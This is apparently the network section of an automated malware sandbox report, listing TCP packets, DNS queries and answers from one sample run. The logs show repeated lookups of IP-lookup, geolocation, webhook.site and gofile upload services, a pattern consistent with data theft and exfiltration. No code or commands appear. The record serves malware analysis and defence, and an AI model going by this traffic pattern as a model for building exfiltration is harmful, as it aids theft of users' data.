                                                                                                                            Apr 4, 2023 09:04:14.174092054 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.174252033 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.176095009 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.176119089 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.176261902 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.176405907 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.176414013 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.176516056 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.176527977 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.301991940 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.514619112 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.514786005 CEST4434971346.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.514940977 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.515619040 CEST49713443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:14.717417002 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.718163967 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:14.718205929 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.719696045 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.719867945 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:14.721103907 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:14.721132040 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.721257925 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.721298933 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:14.721312046 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.804634094 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:14.804670095 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.005208969 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:15.056000948 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.074357033 CEST4434971164.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.074590921 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:15.076994896 CEST49711443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:15.269525051 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.269581079 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.269685030 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.271042109 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.271073103 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.372721910 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.385514975 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.385561943 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.387191057 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.387351990 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.389925003 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.389956951 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.390150070 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.390161991 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.390199900 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.428586006 CEST44349714159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.428685904 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.429792881 CEST49714443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:15.661880970 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.661973000 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.662086964 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.662880898 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.662925959 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.729927063 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.730626106 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.730684996 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.732784033 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.732934952 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.734738111 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.734776974 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.735029936 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.735061884 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.735078096 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.735213995 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.735235929 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.802063942 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.921618938 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.921819925 CEST4434971546.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.921909094 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.922295094 CEST49715443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:15.959929943 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:15.960015059 CEST4434971651.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.960102081 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:15.981981993 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:15.982037067 CEST4434971651.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.098026037 CEST4434971651.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.098839045 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:16.098886967 CEST4434971651.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.101398945 CEST4434971651.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.101502895 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:16.102346897 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:16.102369070 CEST4434971651.38.43.18192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.102534056 CEST49716443192.168.2.651.38.43.18
                                                                                                                            Apr 4, 2023 09:04:16.858987093 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:16.859070063 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.859203100 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:16.860806942 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:16.860831976 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.273715019 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.274642944 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.274678946 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.276967049 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.277151108 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.279071093 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.279103041 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.279424906 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.280878067 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.280904055 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.486723900 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.487545967 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.508636951 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.508810043 CEST4434971764.185.227.155192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.509064913 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.509777069 CEST49717443192.168.2.664.185.227.155
                                                                                                                            Apr 4, 2023 09:04:17.733422995 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.733489990 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.733659983 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.734579086 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.734594107 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.850465059 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.851336002 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.851366043 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.853692055 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.854238033 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.855895996 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.855926991 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.856148005 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.856157064 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.856184006 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.896030903 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.896085978 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.918057919 CEST44349718159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.918196917 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:17.919039011 CEST49718443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:18.753472090 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:18.753559113 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.753657103 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:18.755985975 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:18.756028891 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.812743902 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.878396988 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:18.878462076 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.880774975 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.880851984 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.880954981 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:19.013983011 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:19.014025927 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:19.014260054 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:19.014271021 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:19.014286995 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:19.014384985 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:19.014403105 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:19.093770027 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:19.204597950 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:19.204722881 CEST4434971946.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:19.204823017 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:19.206918955 CEST49719443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:21.276468039 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:21.276523113 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:21.276623011 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:21.277901888 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:21.277930975 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.241270065 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.242371082 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.242427111 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.244520903 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.244699001 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.246022940 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.246052980 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.246274948 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.246346951 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.246365070 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.303311110 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.303369999 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.490767956 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.648514986 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.648648977 CEST44349720173.231.16.75192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.648734093 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.649449110 CEST49720443192.168.2.6173.231.16.75
                                                                                                                            Apr 4, 2023 09:04:29.807679892 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.807754993 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.807827950 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.808697939 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.808725119 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.920407057 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.921118975 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.921195030 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.923921108 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.924190998 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.926119089 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.926163912 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.926343918 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.926371098 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.926466942 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.967092037 CEST44349721159.89.102.253192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.967297077 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:29.979314089 CEST49721443192.168.2.6159.89.102.253
                                                                                                                            Apr 4, 2023 09:04:30.673103094 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.673168898 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.673300982 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.674649000 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.674707890 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.732645035 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.733197927 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.733237982 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.734564066 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.734685898 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.736299038 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.736323118 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.736514091 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.736557007 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.736567974 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.736637115 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:30.736649036 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.803281069 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:31.074378967 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:31.074517965 CEST4434972246.4.105.116192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:31.074639082 CEST49722443192.168.2.646.4.105.116
                                                                                                                            Apr 4, 2023 09:04:31.075161934 CEST49722443192.168.2.646.4.105.116

                                                                                                                            UDP Packets

                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                            Apr 4, 2023 09:04:12.299247980 CEST5859553192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:12.336793900 CEST53585958.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:12.528014898 CEST5633153192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:12.557434082 CEST53563318.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.669354916 CEST5050653192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:13.673154116 CEST4944853192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:13.691076994 CEST53505068.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:13.697818041 CEST53494488.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:14.080962896 CEST5908253192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:14.107356071 CEST53590828.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.246654987 CEST5950453192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:15.267307043 CEST53595048.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.632936001 CEST6519853192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:15.659617901 CEST53651988.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:15.928702116 CEST6291053192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:15.957986116 CEST53629108.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:16.832874060 CEST6386353192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:16.853985071 CEST53638638.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:17.706053972 CEST6322953192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:17.729876041 CEST53632298.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:18.655487061 CEST6253853192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:18.691370964 CEST53625388.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:21.234363079 CEST5490353192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:21.269403934 CEST53549038.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:29.790865898 CEST5153053192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:29.806058884 CEST53515308.8.8.8192.168.2.6
                                                                                                                            Apr 4, 2023 09:04:30.650415897 CEST5612253192.168.2.68.8.8.8
                                                                                                                            Apr 4, 2023 09:04:30.670967102 CEST53561228.8.8.8192.168.2.6

                                                                                                                            DNS Queries

                                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                            Apr 4, 2023 09:04:12.299247980 CEST192.168.2.68.8.8.80xaf86Standard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.528014898 CEST192.168.2.68.8.8.80x640aStandard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.669354916 CEST192.168.2.68.8.8.80x6479Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.673154116 CEST192.168.2.68.8.8.80xd507Standard query (0)geolocation-db.comA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:14.080962896 CEST192.168.2.68.8.8.80xce21Standard query (0)webhook.siteA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.246654987 CEST192.168.2.68.8.8.80x389cStandard query (0)geolocation-db.comA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.632936001 CEST192.168.2.68.8.8.80xfce6Standard query (0)webhook.siteA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.928702116 CEST192.168.2.68.8.8.80x7d01Standard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:16.832874060 CEST192.168.2.68.8.8.80x2da4Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:17.706053972 CEST192.168.2.68.8.8.80xe69fStandard query (0)geolocation-db.comA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:18.655487061 CEST192.168.2.68.8.8.80xa11fStandard query (0)webhook.siteA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:21.234363079 CEST192.168.2.68.8.8.80xe8c4Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:29.790865898 CEST192.168.2.68.8.8.80xe7faStandard query (0)geolocation-db.comA (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:30.650415897 CEST192.168.2.68.8.8.80xd140Standard query (0)webhook.siteA (IP address)IN (0x0001)false

                                                                                                                            DNS Answers

                                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                            Apr 4, 2023 09:04:12.336793900 CEST8.8.8.8192.168.2.60xaf86No error (0)api.gofile.io51.38.43.18A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.336793900 CEST8.8.8.8192.168.2.60xaf86No error (0)api.gofile.io51.178.66.33A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.336793900 CEST8.8.8.8192.168.2.60xaf86No error (0)api.gofile.io151.80.29.83A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.557434082 CEST8.8.8.8192.168.2.60x640aNo error (0)api.ipify.orgapi4.ipify.orgCNAME (Canonical name)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.557434082 CEST8.8.8.8192.168.2.60x640aNo error (0)api4.ipify.org64.185.227.155A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.557434082 CEST8.8.8.8192.168.2.60x640aNo error (0)api4.ipify.org173.231.16.75A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:12.557434082 CEST8.8.8.8192.168.2.60x640aNo error (0)api4.ipify.org104.237.62.211A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.691076994 CEST8.8.8.8192.168.2.60x6479No error (0)api.ipify.orgapi4.ipify.orgCNAME (Canonical name)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.691076994 CEST8.8.8.8192.168.2.60x6479No error (0)api4.ipify.org64.185.227.155A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.691076994 CEST8.8.8.8192.168.2.60x6479No error (0)api4.ipify.org173.231.16.75A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.691076994 CEST8.8.8.8192.168.2.60x6479No error (0)api4.ipify.org104.237.62.211A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:13.697818041 CEST8.8.8.8192.168.2.60xd507No error (0)geolocation-db.com159.89.102.253A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:14.107356071 CEST8.8.8.8192.168.2.60xce21No error (0)webhook.site46.4.105.116A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.267307043 CEST8.8.8.8192.168.2.60x389cNo error (0)geolocation-db.com159.89.102.253A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.659617901 CEST8.8.8.8192.168.2.60xfce6No error (0)webhook.site46.4.105.116A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.957986116 CEST8.8.8.8192.168.2.60x7d01No error (0)api.gofile.io51.38.43.18A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.957986116 CEST8.8.8.8192.168.2.60x7d01No error (0)api.gofile.io51.178.66.33A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:15.957986116 CEST8.8.8.8192.168.2.60x7d01No error (0)api.gofile.io151.80.29.83A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:16.853985071 CEST8.8.8.8192.168.2.60x2da4No error (0)api.ipify.orgapi4.ipify.orgCNAME (Canonical name)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:16.853985071 CEST8.8.8.8192.168.2.60x2da4No error (0)api4.ipify.org64.185.227.155A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:16.853985071 CEST8.8.8.8192.168.2.60x2da4No error (0)api4.ipify.org104.237.62.211A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:16.853985071 CEST8.8.8.8192.168.2.60x2da4No error (0)api4.ipify.org173.231.16.75A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:17.729876041 CEST8.8.8.8192.168.2.60xe69fNo error (0)geolocation-db.com159.89.102.253A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:18.691370964 CEST8.8.8.8192.168.2.60xa11fNo error (0)webhook.site46.4.105.116A (IP address)IN (0x0001)false
                                                                                                                            Apr 4, 2023 09:04:21.269403934 CEST8.8.8.8192.168.2.60xe8c4No error (0)api.ipify.orgapi4.ipify.orgCNAME (Canonical name)IN (0x0001)false
